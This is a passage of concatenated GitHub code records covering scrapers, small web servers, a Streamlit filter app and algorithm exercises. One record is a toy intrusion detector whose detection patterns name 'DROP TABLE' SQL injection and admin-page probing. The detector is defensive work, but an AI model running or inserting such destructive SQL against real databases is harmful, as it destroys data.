results\"]/div[@class=\"item\"]/a/img'\n\n # Find links to hemisphere image thumbnails and click on the requested one\n hresults = b.find_by_xpath(xpath)\n hresults[num].click()\n time.sleep(sleeptime)\n\n # Scrape the browser into soup\n html = b.html\n soup = bs(html, 'lxml')\n\n # Save title and url in dict\n imgdict = dict()\n imgdict[\"title\"] = soup.find(\n \"h2\", class_=\"title\").text.strip(\"Enhanced\").strip()\n imgdict[\"url\"] = soup.find(\"div\", class_=\"downloads\").ul.li.a[\"href\"]\n\n # Go back to previous page\n b.back()\n\n return imgdict\n# def scrape_hemisphere(b, num)\n\n\ndef scrape_all_hemispheres(brwsr):\n '''\n Mars Hemispheres:\n Visit the USGS Astrogeology site to obtain high resolution images for each of Mar's hemispheres.\n '''\n # Visit the URL\n hurl = \"https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars\"\n brwsr.visit(hurl)\n time.sleep(sleeptime)\n\n # list of dicts to save results\n himglist = list()\n hnum = 0\n while hnum < 4:\n himglist.append(scrape_hemisphere(brwsr, hnum))\n hnum += 1\n\n return himglist\n# def scrape_all_hemispheres(brwsr)\n\n\ndef scrape():\n '''\n Scrapes various websites for data related to the Mission to Mars and\n return one Python dictionary containing all of the scraped data.\n '''\n browser = init_browser()\n\n results = dict()\n results[\"Latest Mars News\"] = scrape_news(browser)\n results[\"Featured Mars Image\"] = scrape_fimg(browser)\n results[\"Current Weather on Mars\"] = scrape_weather(browser)\n results[\"Mars Facts\"] = scrape_facts(browser)\n results[\"Mars Hemispheres\"] = scrape_all_hemispheres(browser)\n\n # Close the browser after scraping\n browser.quit()\n\n return results\n# def scrape()\n\n# print(scrape())\n","repo_name":"DGKimGitHub/homework","sub_path":"hw10/Web_Scraping/scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":5587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6141576707","text":"#!/usr/bin/python3\n\"\"\"\nThis module contains the \"Square\" class.\n\"\"\"\nfrom models.rectangle import Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"This Represent a square.\"\"\"\n\n def __init__(self, size, x=0, y=0, id=None):\n \"\"\"This Initialize a new Square.\n Args:\n size (int): The size of the new Square.\n x (int): The x coordinate of the new Square.\n y (int): The y coordinate of the new Square.\n id (int): The identity of the new Square.\n \"\"\"\n super().__init__(size, size, x, y, id)\n\n @property\n def size(self):\n \"\"\"This Get/set the size of the Square.\"\"\"\n return self.width\n\n @size.setter\n def size(self, value):\n self.width = value\n self.height = value\n\n def update(self, *args, **kwargs):\n \"\"\"This Update the Square.\n Args:\n *args (ints): New attribute values.\n - first argument represents id attribute\n - second argument represents size attribute\n - third argument represents x attribute\n - fourth argument represents y attribute\n **kwargs (dict): New key/value pairs of attributes.\n \"\"\"\n if args and len(args) != 0:\n one = 0\n for arg in args:\n if one == 0:\n if arg is None:\n self.__init__(self.size, self.x, self.y)\n else:\n self.id = arg\n elif one == 1:\n self.size = arg\n elif one == 2:\n self.x = arg\n elif one == 3:\n self.y = arg\n one += 1\n\n elif kwargs and len(kwargs) != 0:\n for one, two in kwargs.items():\n if one == \"id\":\n if two is None:\n self.__init__(self.size, self.x, self.y)\n else:\n self.id = two\n elif one == \"size\":\n self.size = two\n elif one == \"x\":\n self.x = two\n elif one == \"y\":\n self.y = two\n\n def to_dictionary(self):\n \"\"\"This Return the dictionary representation of the Square.\"\"\"\n return {\n \"id\": self.id,\n \"size\": self.width,\n \"x\": self.x,\n \"y\": self.y\n }\n\n def __str__(self):\n \"\"\"This Return the print() and str() representation of a Square.\"\"\"\n return \"[Square] ({}) {}/{} - {}\".format(self.id, self.x, self.y,\n self.width)\n","repo_name":"firaoltulu/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19924762893","text":"from fastapi import FastAPI\n\napp = FastAPI()\n\n@app.get(\"/\")\nasync def raiz():\n return {\"msg\": \"Olá mundo!\"}\n\n@app.get(\"/mensagem\")\nasync def mensagem():\n return {\"mensagem:\" : \"Estou a aprender tudo!\"}\n\nif __name__ == '__main__':\n import uvicorn\n \n uvicorn.run(\"main:app\", host=\"127.0.0.1\", port=8000, log_level=\"info\", reload=True)","repo_name":"Ricardoporfiriovieira/curso","sub_path":"sessao002/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"33919345325","text":"# from black import out\nimport streamlit as st\nimport numpy as np\nimport cv2\nfrom PIL import Image, ImageEnhance\nimport matplotlib.pyplot as plt\n\ndef gkern(l=5, sig=1.):\n \"\"\"\n creates gaussian kernel with side length `l` and a sigma of `sig`\n \"\"\"\n ax = np.linspace(-(l - 1) / 2., (l - 1) / 2., l)\n gauss = np.exp(-0.5 * np.square(ax) / np.square(sig))\n kernel = np.outer(gauss, gauss)\n return kernel / np.sum(kernel)\n\nst.set_page_config(page_title=\"Fun With Filters\", page_icon=\"📸\")\nst.title(\"Fun with Filters\")\n\nst.sidebar.title(\"Filters\")\n\nupl_img = st.file_uploader(\"Upload Image to Edit: \", type=['jpg', 'png', 'jpeg'])\n\nif upl_img is not None:\n image = Image.open(upl_img)\n wpercent = 300/float(image.size[0])\n hsize = int((float(image.size[1])*float(wpercent)))\n image = image.resize((300, hsize))\n\n col1, col2 = st.columns([0.5,0.5])\n with col1:\n st.write(\"Original\")\n st.image(image, width=300)\n \n with col2:\n st.write(\"Edited\")\n # filter = st.sidebar.radio('What filter to use?: ', ['Original','Greyscale', 'Blur', 'Motion Blur','Vignette','Pencil Sketch','Emboss'])\n filter = st.sidebar.radio('What filter to use?: ', ['Original','Greyscale', 'Blur', 'Motion Blur','Pencil Sketch','Sharpen'])\n conv_img = np.array(image.convert('RGB'))\n\n if filter == 'Original':\n st.image(image, width=300)\n \n elif filter=='Greyscale':\n r,g,b = conv_img[:,:,0], conv_img[:,:,1], conv_img[:,:,2]\n gamma = st.sidebar.slider(\"Gamma\",0.0, 3.0, 1.04)\n rc, gc, bc = 0.2989, 0.5870, 0.1140\n gray_img = rc*r**gamma + gc*g**gamma + bc*b**gamma\n fig = plt.figure(1)\n img1 = fig.add_subplot()\n img1.imshow(gray_img, cmap=\"gray\")\n plt.axis('off')\n plt.savefig(\"greyimg.png\",bbox_inches='tight',pad_inches=0)\n show_img = Image.open(\"greyimg.png\")\n st.image(show_img, clamp=True, width=300)\n\n elif filter=='Blur':\n sig = st.sidebar.slider(\"Intensity: \",0.1,2.0,1.)\n kernel = gkern(10, sig)\n blur_image = cv2.filter2D(conv_img, -1, kernel)\n st.image(blur_image, channels='RGB', width=300)\n \n elif filter=='Motion Blur':\n i = st.sidebar.slider(\"Intensity: \",1,20,5)\n kernel = np.zeros((i,i))\n np.fill_diagonal(kernel, 1)\n kernel /= kernel.sum()\n mblur_image = cv2.filter2D(conv_img, -1, kernel)\n st.image(mblur_image, channels='RGB', width=300)\n \n # elif filter=='Vignette':\n # image.save('vig_img.jpg')\n # conv_img = cv2.imread('vig_img.jpg')\n # rows, cols = conv_img.shape[:2]\n\n # # generating vignette mask using Gaussian kernels\n # kernel_x = cv2.getGaussianKernel(cols,200)\n # kernel_y = cv2.getGaussianKernel(rows,200)\n # #rowsXcols\n # kernel = kernel_y * kernel_x.T\n\n # #Normalizing the kernel\n # kernel = kernel/np.linalg.norm(kernel)\n\n # #Genrating a mask to image\n # mask = 255 * kernel\n # output = np.copy(conv_img)\n\n # # applying the mask to each channel in the input image\n # for i in range(3):\n # output[:,:,i] = output[:,:,i] * mask\n # st.image(output)\n\n elif filter=='Pencil Sketch':\n gray_scale = cv2.cvtColor(conv_img, cv2.COLOR_RGB2GRAY)\n inv_gray = 255 - gray_scale\n slider = st.sidebar.slider('Intensity: ', 25, 255, 125, step=2)\n blur_image = cv2.GaussianBlur(inv_gray, (slider,slider), 0, 0)\n sketch = cv2.divide(gray_scale, 255 - blur_image, scale=256)\n st.image(sketch, width=300) \n \n elif filter=='Sharpen':\n i = st.sidebar.selectbox(label='Type: ', options=['Normal','Subtle','Excessive'])\n if i == 'Normal':\n kernel = np.array([[-1.,-1.,-1.],[-1.,9.,-1.],[-1.,-1.,-1.]])\n elif i == 'Subtle':\n kernel = np.array([[-1.,-1.,-1.,-1.,-1.],[-1., 2.,2.,2.,-1.],[-1.,2.,8.,2.,-1.],[-1.,2.,2.,2.,-1.],[-1.,-1.,-1.,-1.,-1.]])\n else:\n kernel = np.array([[1.,1.,1.],[1.,-7.,1.],[1.,1.,1.]])\n \n kernel /= kernel.sum()\n sharp_img = cv2.filter2D(conv_img, -1, kernel)\n st.image(sharp_img, channels='RGB', width=300)\n\n\n\n\n\n\nst.markdown(\"

You can right-click and save the image if you want to!

\",unsafe_allow_html=True)\n\n\nfooter=\"\"\"\n\n\n\"\"\"\nst.markdown(footer,unsafe_allow_html=True)\n\n\n","repo_name":"horizon3902/fun-with-filters","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"1047324831","text":"# BOJ_1753 최단경로 문제풀이\n# 2022-10-05\nimport heapq\nimport sys\n\ninput = sys.stdin.readline\n\nV, E = map(int, input().split())\nK = int(input())\n\ngraph = [[] for _ in range(V + 1)]\nINF = int(1e9)\ndistance = [INF] * (V + 1)\n\nfor _ in range(E):\n u, v, weight = map(int, input().split())\n graph[u].append((v, weight))\n\n\n# 다익스트라\ndef dijkstra(s):\n global distance\n\n # 최대값으로 초기화\n distance = [INF] * (V + 1)\n q = []\n heapq.heappush(q, (0, s))\n distance[s] = 0\n\n # q에 저장되어 있는 값이 있는 동안\n while q:\n dist, now = heapq.heappop(q)\n\n # 저장되어 있는 현재 노드까지 오는 거리가 최소힙에서 pop한 값보다 작으면\n # 뒷부분 진행하지 않고 다시 while문\n if distance[now] < dist:\n continue\n\n # 현재 노드랑 연결되어 있는 노드 순회하며\n for i in graph[now]:\n # 현재 노드까지의 거리와 현재 노드에서 순회 노드까지 거리를 더한 값이\n cost = dist + i[1]\n # 이미 저장되어 있는 순회한 노드까지의 거리보다 작으면\n if cost < distance[i[0]]:\n # 거리 초기화 하고\n distance[i[0]] = cost\n # heappush\n heapq.heappush(q, (cost, i[0]))\n\n\ndijkstra(K)\n\nfor i in range(1, V+1):\n # 한번도 거리가 저장되지 않으면 경로 없음\n if distance[i] == INF:\n print('INF')\n # 값이 저장되어 있으면 최소 거리 출력\n else:\n print(distance[i])","repo_name":"isangbin/NB","sub_path":"SON/1005/BOJ_1753.py","file_name":"BOJ_1753.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70656412188","text":"from collections import OrderedDict\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nfrom collections import OrderedDict\n\n\nclass Solution(object):\n '''\n 存在上下错乱\n '''\n # def verticalTraversal(self, root):\n # \"\"\"\n # :type root: TreeNode\n # :rtype: List[List[int]]\n # \"\"\"\n # if not root: return\n #\n # dic = OrderedDict()\n #\n # def preOrder(root, pos):\n # if not root: return pos\n #\n # if pos not in dic:\n # dic[pos] = [root.val]\n # else:\n # dic[pos].append(root.val)\n #\n # preOrder(root.left, pos - 1)\n #\n # preOrder(root.right, pos + 1)\n #\n # preOrder(root, 0)\n # print(dic)\n\n def verticalTraversal(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n if not root: return\n\n vals = []\n\n def preOrder(root, x, y):\n if not root: return\n vals.append((x, y, root.val))\n preOrder(root.left, x - 1, y + 1)\n preOrder(root.right, x + 1, y + 1)\n\n preOrder(root, 0, 0)\n res = []\n lastx = -99999\n for x, y, val in sorted(vals):\n if x != lastx:\n res.append([])\n lastx = x\n res[-1].append(val)\n\n return res\n return list(dic.values())\n\n\nif __name__ == '__main__':\n print()\n","repo_name":"yuhangxiaocs/LeetCodePy","sub_path":"tree/VerticalOrderTraversalofaBinaryTree.py","file_name":"VerticalOrderTraversalofaBinaryTree.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8399775404","text":"import requests\n\n# Делаем запрос на сайт, передаем ему параметр.\ndata = requests.get('https://www.cbr-xml-daily.ru/daily_json.js').json()\nusd = data['Valute']['USD']['Value'] # ищем нужн��ю валюту и цену\n\n\ndef translateUsdToRub(cents): # получаем цену игры\n if cents != 'free':\n price = int(cents) / 100 * usd\n return \"%.2f\" % price\n else:\n return 'free'\n","repo_name":"avramovam/WEB_PROJECT","sub_path":"data/translate_usd_to_rub.py","file_name":"translate_usd_to_rub.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2765634875","text":"import json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nprofile_object = {\n 'name': 'Sajad',\n 'bio': '',\n}\n\n\nclass CustomHandler(BaseHTTPRequestHandler):\n def _send_response(self, status, data):\n self.send_response(status)\n self.send_header('Content-Type', 'application/json')\n self.end_headers()\n self.wfile.write(json.dumps(data).encode('utf-8'))\n\n def do_GET(self):\n if self.path == '/profile':\n self._send_response(200, profile_object)\n else:\n self._send_response(404, {'status': 'not found'})\n\n def do_PUT(self):\n if self.path == '/profile/update':\n content_length = int(self.headers['Content-Length'])\n request_body = self.rfile.read(content_length)\n print(f'Request body before json load: {request_body}')\n request_body = json.loads(request_body)\n print(f'Request body after json load: {request_body}')\n global profile_object\n profile_object = request_body\n self._send_response(200, {'status': 'success'})\n else:\n self._send_response(404, {'status': 'not found'})\n\n def do_PATCH(self):\n if self.path == '/profile/update/name':\n content_length = int(self.headers['Content-Length'])\n request_body = self.rfile.read(content_length)\n print(f'Request body before json load: {request_body}')\n request_body = json.loads(request_body)\n print(f'Request body after json load: {request_body}')\n global profile_object\n profile_object['name'] = request_body['name']\n self._send_response(200, {'status': 'success'})\n else:\n self._send_response(404, {'status': 'not found'})\n\nPORT = 5000\naddr = ('', PORT)\nhandler = CustomHandler\nserver = HTTPServer(addr, handler)\nserver.serve_forever()\n","repo_name":"sajadgilga/django-tutorial-samples-qboot","sub_path":"my_custom_server.py","file_name":"my_custom_server.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"42537311858","text":"import socket\n\n# Define the IP address and port to listen on\nIP_ADDRESS = '0.0.0.0'\nPORT = 8080\n\n# Set up the socket and start listening for incoming traffic\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.bind((IP_ADDRESS, PORT))\nsock.listen()\n\n# Define a function to parse incoming packets and detect intrusion attempts\ndef detect_intrusion(data):\n # Implement your intrusion detection logic here\n if 'DROP TABLE' in data:\n print('SQL injection attempt detected!')\n elif 'GET /admin' in data:\n print('Attempt to access admin page detected!')\n\n# Continuously read incoming packets and analyze them for intrusion attempts\nwhile True:\n conn, addr = sock.accept()\n data = conn.recv(1024)\n if not data:\n continue\n detect_intrusion(data.decode())\n conn.close()\n","repo_name":"WertheimCO/intrusion-detection_script.py","sub_path":"intrusion-detect-radar_script.py","file_name":"intrusion-detect-radar_script.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72641825627","text":"# 1. 把字符串当序列\n# 可以对它进行遍历、切片等操作,就像访问一个列表对象一样\ns = 'Hello. world!'\nfor c in s:\n print(c)\n\ns2 = s[::-1]\nprint(s, s2)\n\n# 2. 字符串格式化\n# 三种主要的字符串格式化方式\n\nusername, score = 'piglei', 100\n# C语言风格:历史最为悠久,但现在已经很少使用\nprint('Welcome %s, your score is %d' % (username, score))\n\n# 新式字符串格式化(str.format)方式(Python 2.6新增)\nprint('Welcome {}, your score is {:d}'.format(username, score))\n# str.format支持用位置参数来格式化字符串\nprint('{0}:name={0} score{1}'.format(username,score))\n\n# f-string字符串字面量格式化表达式(Python 3.6新增)\nprint(f'Welcome {username}, your score is {score:d}')\n\n\n#3. 拼接多个字符串\n# 常见的Python式做法是:首先创建一个[空列表],然后把需要拼接的字符串都放进列表,最后调用str.join来获得大字符串\nwords = ['Numbers(1-10):']\nfor i in range(10):\n words.append(f'Value: {i + 1}')\nprint('\\n'.join(words))\n\n\n# 4. 不常用但特别好用的字符串方法\n# s.isdigit()\n# 判断某个字符串是否只包含数字\nprint('123'.isdigit(), 'foo'.isdigit())\n\n# s.partition()\n# 按照分隔符sep切分字符串,返回一个包含三个成员的元组:(part_before, sep, part_after)\ndef extract_value_v1(s):\n items = s.split(':')\n if len(items) == 2:\n return items[1]\n else:\n return ''\ndef extract_value_v2(s):\n # 当s包含分隔符:时,元组最后一个成员刚好是value\n # 若没有分隔符,最后一个成员默认是空字符串‘’\n return s.partition(':')[-1]\n\nprint(extract_value_v1('name:piglei'))\nprint(extract_value_v2('name:piglei'))\n\n# s.translate()\n# 按规则一次性替换多个字符\ns = '明明是中文,却使用了英文标点.'\ntable = s.maketrans(',.', ',。')\ns2 = s.translate(table)\nprint(s, s2)\n\n\n","repo_name":"Jayee-Jiayi-Fu/python_action","sub_path":"learning/2数值与字符串/字符串常用操作.py","file_name":"字符串常用操作.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14290221553","text":"import collections\nimport sys\nimport numpy as np\nimport itertools as it\n\nimport sys\n\nif __name__ == \"__main__\":\n pass\n # # 读取第一行的n\n # n = int(sys.stdin.readline().strip())\n # ans = 0\n # for i in range(n):\n # # 读取每一行\n # line = sys.stdin.readline().strip()\n # # 把每一行的数字分隔后转化成int列表\n # values = list(map(int, line.split()))\n # for v in values:\n # ans += v\n # print(ans)\n\n\"\"\"\n堆排序\n\"\"\"\n\n\ndef down_adjust_min(array, parentIndex, length):\n temp = array[parentIndex]\n childIndex = 2 * parentIndex + 1\n while (childIndex < length):\n if childIndex + 1 < length and array[childIndex + 1] < array[childIndex]:\n childIndex += 1\n if temp <= array[childIndex]:\n break\n array[parentIndex] = array[childIndex]\n parentIndex = childIndex\n childIndex = 2 * childIndex + 1\n array[parentIndex] = temp\n\n\ndef heap_sort(array):\n \"\"\"\n 堆排序算法的步骤:\n 1. 把无序数组构建成二叉堆。\n 2. 循环删除堆顶元素,移到集合尾部,调节堆产生新的堆顶。\n :param array:\n :return:\n \"\"\"\n # 1.构建二叉堆\n for i in range(int(len(array) / 2))[::-1]:\n down_adjust_min(array, i, len(array))\n print(array)\n\n # 2.循环删除堆顶元素,移到集合尾部,调节堆产生新的堆顶\n for i in range(len(array))[::-1]:\n array[i], array[0] = array[0], array[i]\n down_adjust_min(array, 0, i)\n print(array)\n\n\n\"\"\"\n快排\n\"\"\"\n\n\ndef quick_sort(array, left, right):\n if left >= right:\n return\n low = left\n high = right\n key = array[low]\n while left < right:\n while left < right and array[right] >= key:\n right -= 1\n array[left], array[right] = array[right], array[left]\n while left < right and array[left] <= key:\n left += 1\n array[right], array[left] = array[left], array[right]\n quick_sort(array, low, left - 1)\n quick_sort(array, left + 1, high)\n\n\nquick_sort_lam = lambda array: array if len(array) <= 1 else \\\n quick_sort_lam([item for item in array[1:] if item <= array[0]]) \\\n + [array[0]] + \\\n quick_sort_lam([item for item in array[1:] if item > array[0]])\n\n\"\"\"\n\n\"\"\"\n\n\ndef quick_sort_stack(array, l, r):\n if l >= r:\n return\n stack = []\n stack.append(l)\n stack.append(r)\n while stack:\n low = stack.pop(0)\n high = stack.pop(0)\n if high - low <= 0:\n continue\n x = array[high]\n i = low - 1\n for j in range(low, high):\n if array[j] <= x:\n i += 1\n array[i], array[j] = array[j], array[i]\n array[i + 1], array[high] = array[high], array[i + 1]\n stack.extend([low, i, i + 2, high])\n\n\ndef bubble_sort(arr):\n length = len(arr)\n if length < 2:\n return arr\n for i in range(length)[::-1]:\n for j in range(i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n\n\n# 广度优先遍历算法\ndef level_queue(root):\n if root is None:\n return\n my_queue = collections.deque()\n node = root\n my_queue.append(node)\n while my_queue:\n node = my_queue.popleft()\n print(node.val)\n if node.left is not None:\n my_queue.append(node.left)\n if node.right is not None:\n my_queue.append(node.right)\n\n\n# 深度优先遍历算法\ndef depth_tree(tree_node):\n if tree_node is not None:\n print(tree_node.val)\n if tree_node.left is not None:\n depth_tree(tree_node.left)\n if tree_node.right is not None:\n depth_tree(tree_node.right)\n\n\ndef postorderTraversal_recur(root): ##后序遍历\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n if not root:\n return []\n return postorderTraversal_recur(root.left) + postorderTraversal_recur(root.right) + [root.val]\n\n\n\"\"\"\n当前结点curr不为None时,每一次循环将当前结点curr入栈;\n当前结点curr为None时,则出栈一个结点,且打印出栈结点的value值。\n整个循环在stack和curr皆为None的时候结束。\n\"\"\"\n\n\ndef inorderTraversal(root):\n stack = []\n res = []\n curr = root\n while stack or curr:\n if curr:\n stack.append(curr)\n curr = curr.left\n else:\n curr = stack.pop()\n res.append(curr.val)\n curr = curr.right\n return res\n\n\n\"\"\"\n由于前序遍历的顺序是中左右,所以我们每次先打印当前结点curr,并将右子结点push到栈中,然后将左子结点设为当前结点。\n入栈和出栈条件(当前结点curr不为None时,每一次循环将当前结点curr入栈;\n当前结点curr为None时,则出栈一个结点)以及循环结束条件\n(整个循环在stack和curr皆为None的时候结束)与中序遍历一模一样。\n\"\"\"\n\n\ndef preorderTraversal(root): ## 前序遍历\n stack = []\n res = []\n curr = root\n while stack or curr:\n if curr:\n res.append(curr.val)\n stack.append(curr.right)\n curr = curr.left\n else:\n curr = stack.pop()\n return res\n\n\n\"\"\"\n代码的主体部分基本就是.right和.left交换了顺序,\n且后序遍历在最后输出的时候进行了反向(因为要从 中右左 变为 左右中 )\n\"\"\"\n\n\ndef postorderTraversal(root): ## 后序遍历\n stack = []\n res = []\n curr = root\n while stack or curr:\n if curr:\n res.append(curr.val)\n stack.append(curr.left)\n curr = curr.right\n else:\n curr = stack.pop()\n return res[::-1]\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\n# 前序 中序 构建树\ndef getTreePreMid(pre, mid):\n if len(pre) == 0:\n return None\n if len(pre) == 1:\n return TreeNode(pre[0])\n root = TreeNode(pre[0])\n root_index = mid.index(pre[0])\n root.left = getTreePreMid(pre[1:root_index + 1], mid[:root_index])\n root.right = getTreePreMid(pre[root_index + 1:], mid[root_index + 1:])\n return root\n\n\n\"\"\"\n动态规划\n\"\"\"\n\n\ndef palindrome_seq(s):\n \"\"\"\n 给定一个字符串s,你可以从中删除一些字符,使得剩下的串是一个回文串。如何删除才能使得回文串最长\n :return:\n \"\"\"\n length = len(s)\n if length < 2:\n return 0\n rs = s[::-1]\n dp = [[0 for i in range(length + 1)] for j in range(length + 1)]\n for i in range(1, length + 1):\n for j in range(1, length + 1):\n dp[i][j] = dp[i - 1][j - 1] + 1 if s[i - 1] == rs[j - 1] else max(dp[i][j - 1], dp[i - 1][j])\n for i in dp:\n print(i)\n return length - dp[length][length]\n\n\n# 编辑距离\ndef levenshtein_distance_dp(input_x, input_y):\n xlen = len(input_x) + 1\n ylen = len(input_y) + 1\n\n # 此处需要多开辟一个元素存储最后一轮的计算结果\n dp = [[0 for i in range(xlen)] for j in range(ylen)]\n for i in range(xlen):\n dp[i][0] = i\n for j in range(ylen):\n dp[0][j] = j\n\n for i in range(1, xlen):\n for j in range(1, ylen):\n if input_x[i - 1] == input_y[j - 1]:\n dp[i][j] = dp[i - 1][j - 1]\n else:\n dp[i][j] = 1 + min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])\n return dp[xlen - 1][ylen - 1]\n\n\n# 最长公共子串\ndef longest_common_substr_dp(str1, str2):\n xlen = len(str1) + 1\n ylen = len(str2) + 1\n record = [[0 for i in range(ylen)] for j in range(xlen)]\n maxNum = 0 # 最长匹配长度\n p = 0 # 匹配的起始位\n\n for i in range(1, xlen):\n for j in range(1, ylen):\n if str1[i - 1] == str2[j - 1]:\n # 相同则累加\n record[i][j] = record[i - 1][j - 1] + 1\n if record[i][j] > maxNum:\n # 获取最大匹配长度\n maxNum = record[i][j]\n # 记录最大匹配长度的终止位置\n p = i\n for i in record:\n print(i)\n return str1[p - maxNum:p], maxNum\n\n\n# 最长公共子序列\ndef longest_common_sequence(input_x, input_y):\n lcsequence_mat, flag = longest_common_sequence_dp(input_x, input_y)\n i = len(input_x)\n j = len(input_y)\n lcs = []\n get_lcs(input_x, input_y, i, j, flag, lcs)\n print((lcsequence_mat[-1][-1], lcs))\n\n\ndef longest_common_sequence_dp(input_x, input_y):\n xlen = len(input_x) + 1\n ylen = len(input_y) + 1\n dp = [([0] * ylen) for i in range(xlen)]\n flag = [([0] * ylen) for i in range(xlen)]\n for i in range(1, xlen):\n for j in range(1, ylen):\n if input_x[i - 1] == input_y[j - 1]: # 不在边界上,相等就加一\n dp[i][j] = dp[i - 1][j - 1] + 1\n flag[i][j] = 0\n elif dp[i - 1][j] > dp[i][j - 1]: # 不相等\n dp[i][j] = dp[i - 1][j]\n flag[i][j] = 1\n else:\n dp[i][j] = dp[i][j - 1]\n flag[i][j] = -1\n for dp_line in dp:\n print(dp_line)\n return dp, flag\n\n\ndef get_lcs(input_x, input_y, i, j, flag, lcs):\n if (i == 0 or j == 0):\n return\n if flag[i][j] == 0:\n get_lcs(input_x, input_y, i - 1, j - 1, flag, lcs)\n lcs.append(input_x[i - 1])\n elif (flag[i][j] == 1):\n get_lcs(input_x, input_y, i - 1, j, flag, lcs)\n else:\n get_lcs(input_x, input_y, i, j - 1, flag, lcs)\n return lcs\n\n\ndef sqrt(x):\n if x < 2:\n return x\n left, right = 0, x\n while left <= right:\n mid = left + (right - left) // 2\n if mid * mid < x:\n # left=mid\n left = mid + 1\n lstmid = mid # 关键步骤\n elif mid * mid > x:\n # right=x\n right = mid - 1\n else:\n return mid\n return lstmid\n\n\n\"\"\"\nhaspath\n\"\"\"\n\n\nclass Solution:\n def hasPath(self, matrix, rows, cols, path):\n # write code here\n for i in range(rows):\n for j in range(cols):\n if matrix[i * cols + j] == path[0]:\n if self.find(list(matrix), rows, cols, path[1:], i, j):\n return True\n return False\n\n def find(self, matrix, rows, cols, path, i, j):\n if not path:\n return True\n matrix[i * cols + j] = '0'\n if j + 1 < cols and matrix[i * cols + j + 1] == path[0]:\n return self.find(matrix, rows, cols, path[1:], i, j + 1)\n elif j - 1 >= 0 and matrix[i * cols + j - 1] == path[0]:\n return self.find(matrix, rows, cols, path[1:], i, j - 1)\n elif i + 1 < rows and matrix[(i + 1) * cols + j] == path[0]:\n return self.find(matrix, rows, cols, path[1:], i + 1, j)\n elif i - 1 >= 0 and matrix[(i - 1) * cols + j] == path[0]:\n return self.find(matrix, rows, cols, path[1:], i - 1, j)\n else:\n return False\n\n\n\"\"\"\npermutation\n\"\"\"\n\n\ndef perm_arr(arr):\n perm = it.permutations(arr)\n return list(perm)\n\n\ndef perm_str(s=''):\n if len(s) <= 1:\n return [s]\n str_list = []\n for i in range(len(s)):\n for j in perm_str(s[0:i] + s[i + 1:]):\n str_list.append(s[i] + j)\n return str_list\n\n\nif __name__ == '__main__':\n x = \"beauty\"\n y = \"batyu\"\n\n x = \"abc\"\n print(sqrt(5))\n","repo_name":"blldd/CodeExercise","sub_path":"LeetCode_b/Classic/Exam.py","file_name":"Exam.py","file_ext":"py","file_size_in_byte":11480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39784505743","text":"# encoding=utf8\nimport os\nimport pandas as pd\nimport numpy as np\nfrom sklearn.linear_model.perceptron import Perceptron\nfrom sklearn.preprocessing import StandardScaler\n\n\n# 获取训练数据\ntrain_data = pd.read_csv('./step2/train_data.csv')\n# 获取训练标签\ntrain_label = pd.read_csv('./step2/train_label.csv')\ntrain_label = train_label['target']\n# 获取测试数据\ntest_data = pd.read_csv('./step2/test_data.csv')\n\nif os.path.exists('./step2/result.csv'):\n os.remove('./step2/result.csv')\n\n# 标准化数据\nscaler = StandardScaler()\ntrain_data = scaler.fit_transform(train_data)\n\nclf = Perceptron()\nclf.fit(train_data, train_label)\npred = clf.predict(scaler.transform(test_data))\n\nresult = np.where(pred > 0.5, 1, 0)\n\ndf = pd.DataFrame(result, columns=[\"result\"])\ndf.to_csv('./step2/result.csv')\n","repo_name":"xiong35/HUST-MachineLearning","sub_path":"educoder-tasks/3-机器学习 --- 感知机/t-2.py","file_name":"t-2.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"11"} +{"seq_id":"72388025626","text":"#!/usr/bin/python3\n'''\nunsquashfs class defination\n'''\nimport os\nfrom toolkit.core.basic import Plugin\n\n\nclass UnSquashfs(Plugin):\n '''\n inherit from class Plugin\n '''\n def __init__(self):\n super().__init__(name = \"unsquashfs\",\n description = \"unpack squashfs filesystem\",\n classname = \"UnSquashfs\",\n author = \"Plougher\",\n ref = \"https://github.com/plougher/squashfs-tools\",\n category = \"Firmware Pack&Unpack\",\n 